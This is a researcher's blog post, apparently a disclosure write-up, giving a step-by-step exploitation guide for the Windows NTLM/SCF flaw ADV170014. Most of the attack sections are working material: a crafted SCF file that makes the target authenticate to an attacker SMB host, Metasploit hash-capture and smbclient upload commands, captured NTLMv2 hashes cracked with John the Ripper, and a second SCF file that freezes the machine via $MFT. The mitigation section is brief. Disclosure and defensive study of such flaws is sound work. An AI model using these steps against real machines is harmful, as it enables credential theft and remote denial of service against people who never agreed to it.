ADV170014 NTLM SSO: Exploitation Guide

October 2017, Microsoft patch Tuesday included an optional security advisory, ADV170014, this advisory makes reference to a bug on the NTLM authentication scheme, that allows a malicious attacker to steal hashes and to remote freeze the vulnerable machine.

I’ve reported this bug on May 24 2017, and was officially closed by Microsoft on October 18 2017.

A total of 148 days was the time required by Microsoft to check this issue.

I’m making this public now, after October patch Tuesday, that the official ‘solution’ went public, now it’s up to system administrator to apply the patch on the registry, if their current situation allows that, But we’ll go back to that later on.

 

The vulnerability

It is a known issue that Microsoft NTLM architecture has some failures, hash stealing is not something new, it is one of the first things a pentester tries when attacking a Microsoft environment.

But, most of these techniques require user intervention or traffic interception to fulfill the attack.

These new attacks require no user interaction, everything is done from the attacker’s side, but of course, there are some conditions that need to be met to be successful with this attack.

Attack scenario

To execute this attack a shared folder with no password protection is required on the target machine, this is normal behaviour on offices, schools, hospitals and almost all Windows environments, people share folders to share music, photos and documents.

Let’s say that the user ‘Juan’, creates a folder on his Desktop called ‘Prueba2’, and decides to share that folder with his team.

Carpeta vulnerable compartida en Windows
Carpeta vulnerable compartida en Windows

Now, let’s move to the ‘Sharing’ tab to modify the folder properties and allow sharing without using passwords.

Pestaña de propiedades compartidas en carpeta vulnerable
Pestaña de propiedades compartidas en carpeta vulnerable

 

Here we can see the shared folder path, \\JUAN-PC\Users\juan\Desktop\prueba2

Now, we must click on ‘Network and Sharing center’

Network and Sharing center, propiedades de carpeta vulnerable.
Network and Sharing center, propiedades de carpeta vulnerable.

 

Here we click on ‘Turn off password protected sharing’ option, this basically allows any user to access the shared folder without authentication.

SCF files

SCF files were introduced by Microsoft on Windows 3.11 time, These are plain text files that instruct Windows File Explorer to execute some basic tasks.

There are already a few SCF file- based attacks, but until now, all these attacks requires user intervention to execute the SCF file.

We have two recent examples, the attacks created by Bosko Stankovic from Defense Code, in the paper Stealing Windows Credentials Using Google Chrome also the 2015 Black Hat presentation where Jonathan Brossard and Hormazd Billimoria demonstrated the attack called SMB: Sharing more than just your files.

The basic SCF file structure is as follows:

[Shell]
Command=2
IconFile=\\192.168.1.101\share\test.ico
[Taskbar]
Command=ToggleDesktop

Just that, it is worth to remember that SCF files are some of the more obscure Windows functionalities, and that the documentation is almost non existent.

The attack, Steal the hash

To perform this attack, we are going to use Metasploit, and a SCF file crafted the following way.

root@sysadminjd:~# cat test.scf
[Shell]
Command=2
IconFile=\\192.168.1.111\share\test.ico
[Taskbar]
Command=ToggleDesktop

root@sysadminjd:~#

The machine with the IP address 192.168.1.111 is our attacking machine, where we are running capture/smb Metasploit module

root@sysadminjd:~# msfconsole -q

msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set JOHNPWFILE /tmp/smbhash.txt
JOHNPWFILE = /tmp/smbhash.txt
msf auxiliary(smb) > exploit -j
[*] Auxiliary module running as background job

[*] Server started.
msf auxiliary(smb) 

We are going to also use John the Ripper  to crack the hashes, that’s why we define the option JOHNPWFILE , pointing it to the file /tmp/smbhash.txt, where hopefully we’ll have our captured hashes.

At this point, the ‘Prueba2’ folder is totally empty, but there is no need to have it empty.

Carpeta vulnerable antes del ataque
Carpeta vulnerable antes del ataque

With everything in place, we upload the SCF file to the vulnerable folder using any method we want to use, OSX Finder, Windows file explorer or in this case the command line utility smbclient.


root@sysadminjd:~# smbclient //192.168.1.67/Users
WARNING: The "syslog" option is deprecated
Enter root's password:
OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]
smb: \> cd juan
smb: \juan\> cd Desktop\
smb: \juan\Desktop\> cd prueba2\
smb: \juan\Desktop\prueba2\> put test.scf
putting file test.scf as \juan\Desktop\prueba2\test.scf (88.9 kb/s) (average 88.9 kb/s)
smb: \juan\Desktop\prueba2\> ls
. D 0 Mon Oct 23 12:27:15 2017
.. D 0 Mon Oct 23 12:27:15 2017
.DS_Store AH 6148 Tue May 23 17:29:03 2017
test.scf A 91 Mon Oct 23 12:27:15 2017

6527487 blocks of size 4096. 4043523 blocks available
smb: \juan\Desktop\prueba2\>
root@sysadminjd:~#

The vulnerable folder now contains our SCF file

Carpeta vulnerable con archivo SCF
Carpeta vulnerable con archivo SCF

 

At this point, our Metasploit console must be showing something like this


msf auxiliary(smb) >
[*] SMB Captured - 2017-10-23 12:27:15 -0400
NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:47894338d99abe2f08e2c693618c7323
NT_CLIENT_CHALLENGE:0101000000000000d0046aca1b4cd301d755c3756d5639d800000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:27:15 -0400
NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:e97b70559f29462e2ca221d31113b9ca
NT_CLIENT_CHALLENGE:0101000000000000a0177dca1b4cd301f59d5c5d52708e3b00000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:27:15 -0400
NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:eb8b228b739cc95a12d7e0d89d89e002
NT_CLIENT_CHALLENGE:0101000000000000620389ca1b4cd3017283fc96884767b700000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:37:09 -0400
NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:4abb0803c4afd1509bfca3bbc566ad70
NT_CLIENT_CHALLENGE:010100000000000076d7742c1d4cd30161b2c77a54bd58fe00000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:37:09 -0400
NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:5eeb82aab85e9663624aaf6500e4d8f8
NT_CLIENT_CHALLENGE:010100000000000046ea872c1d4cd301c7a724adf323918c00000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:37:09 -0400
NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:55a0cb725a5a171cffdccea36fdcd934
NT_CLIENT_CHALLENGE:010100000000000054118f2c1d4cd301f718b1ba2d4efc7800000000020000000000000000000000

As you see see, a single upload can trigger several authentication requests, so no need to worry about that.

Now that we have the hashes on our attacking machine, we can use John to try to get the plain text.


root@sysadminjd:~# cd /tmp/
root@sysadminjd:/tmp# john smbhash.txt_netntlmv2
Using default input encoding: UTF-8
Rules/masks using ISO-8859-1
Loaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
abc (juan)
abc (juan)
abc (juan)
abc (juan)
abc (juan)
abc (juan)
6g 0:00:00:00 DONE 2/3 (2017-10-23 12:27) 75.86g/s 404596p/s 585124c/s 585124C/s abc
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@sysadminjd:/tmp#

John was able to recover the plaintext, the logged in user ‘juan’ has a simple password ‘abc’.

The attack, freezing the machine

The second attack allows us to freeze the remote machine remotely, let’s see how.

We require the same vulnerable folder, we can use the same one we use on the first step, we also need a SCF file, with a little difference.

root@sysadminjd:~# cat mft.scf
[Shell]
Command=2
IconFile= c:\$MFT\123
[Taskbar]
Command=ToggleDesktop
root@sysadminjd:~#

This SCF files contains a call to $MFT, which locks the NTFS filesystem, this is discussed on this blog entry (Sorry, only Spanish) or you can take a look on the internet for better resources on the topic.

Now, we just upload the SCF file to the vulnerable machine, using again smbclient


root@sysadminjd:~# smbclient //192.168.1.67/Users
WARNING: The "syslog" option is deprecated
Enter root's password:

OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]

smb: \Z cd

Default\ desktop.ini juan\ Public\

smb: \> cd juan\Desktop\prueba2\
smb: \juan\Desktop\prueba2\> ls
. D 0 Wed May 24 18:08:34 2017
.. D 0 Wed May 24 18:08:34 2017
.DS_Store AH 6148 Tue May 23 17:29:03 2017
1.exe A 7168 Tue May 23 17:29:03 2017
prueba.scf A 92 Wed May 24 18:08:34 2017

6527487 blocks of size 4096. 4156104 blocks available

smb: \juan\Desktop\prueba2\> put mft.scf
putting file mft.scf as \juan\Desktop\prueba2\mft.scf (17.6 kb/s) (average 17.6 kb/s)

And that’s all, there is no need for more intervention from the attacker or the user, the machines now starts to lock the file system until the point it needs a reboot.

Who is vulnerable?

Accordingly to Microsoft, all Windows versions since 3.11 till Windows 10, Desktop and server are vulnerable to this kind of attack.

Honestly, I have only tested on Windows 7 and Windows 10, then I passed the ball to Microsoft 🙂

Mitigation

Microsoft created a sort of patch to this vulnerability consisting in changing two registry keys to disable NTLM on the system. This registry keys are available only on Windows 10 and Windows Server 2016, and Microsoft has no intentions to backport to the other versions.

Another issue is that disabling NTLM will break a lot of environments, and that’s a huge concern for them.

My suggestion is to use strong passwords, after the attack we need to crack the hash, that can take a lot of time if the password is complex, and can be frustrating for the attacker.

The better approach, don’t share folders without passwords, that’ll do the trick.

Acknowledgments and final comments

This vulnerability has been around for a long long time, I have been exploiting this for almost a year now, on my pentesting tasks of course.

It is so simple that allows almost anybody to exploit it, the good thing is that certains conditions are needed to be successful on the exploitation, the default Windows configuration is not vulnerable.

I want to thank to Microsoft Security Response Center, they worked hard to try to fix this, and provided a partial patch for the issue, a full patch was not possible without breaking Windows at all.

This exploit was not possible without the excellent work done by Bosko Stankovic from Defense Code in the paper Stealing Windows Credentials Using Google Chrome and Jonathan Brossard / Hormazd Billimoria’s Black Hat presentation SMB: Sharing more than just your files.

And of course, thank you for reading this quite long blog entry.

 

Cheers!

 

 

 

 

 

 

 

 

Comments 2

Deja tu comentario

%d bloggers like this: